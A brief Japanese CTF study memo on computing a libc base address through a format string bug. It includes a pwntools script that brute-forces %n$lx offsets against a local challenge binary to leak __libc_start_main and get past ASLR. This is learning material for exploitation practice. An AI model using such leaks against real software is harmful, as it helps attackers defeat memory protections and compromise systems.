libc_baseの求め方

fsbがあるならスタックを見る.

sytemcall直後にはrcxにreturnアドレスが書いてあるらしい??

libcの関数のアドレスの求め方

  1. remoteの関数のアドレスとlocalの関数のアドレスが同じ場合

ldに同じものが使われてno PIEならlocalで確かめることができる

使っているlibcのバージョンがわかる,fsbが出来る ⇒ libcのアドレスを求めることが出来る.

libcがロードされるアドレスはランダムだが,末尾3桁(16進数)は変わらない.

patchelfを当てた後 main にbreakpointを貼ればスタックに__libc_start_main+<num>のアドレスが積まれるのがわかるので,

fsbでその末尾3桁が見えるstringがわかる.

以下は__libc_start_mainの末尾が0xfb0で,スタックに積まれるアドレスのが__libc_start_main+235のときにformat stringが何かを求めるコードの例.

mark = hex(0xfb0+235)[3:]

for i in range(1, 256):
    r = process('./chall')
    
    r.sendlineafter(b'A: ', f'1-%{i}$lx'.encode())
    r.sendlineafter(b'B: ', b'2')
    output = r.readline().decode().strip()
    if mark in output:
        ic(i, output)
        ic(hex(r.libc.address), hex(r.libc.symbols['__libc_start_main']))
    r.kill()

stack pivot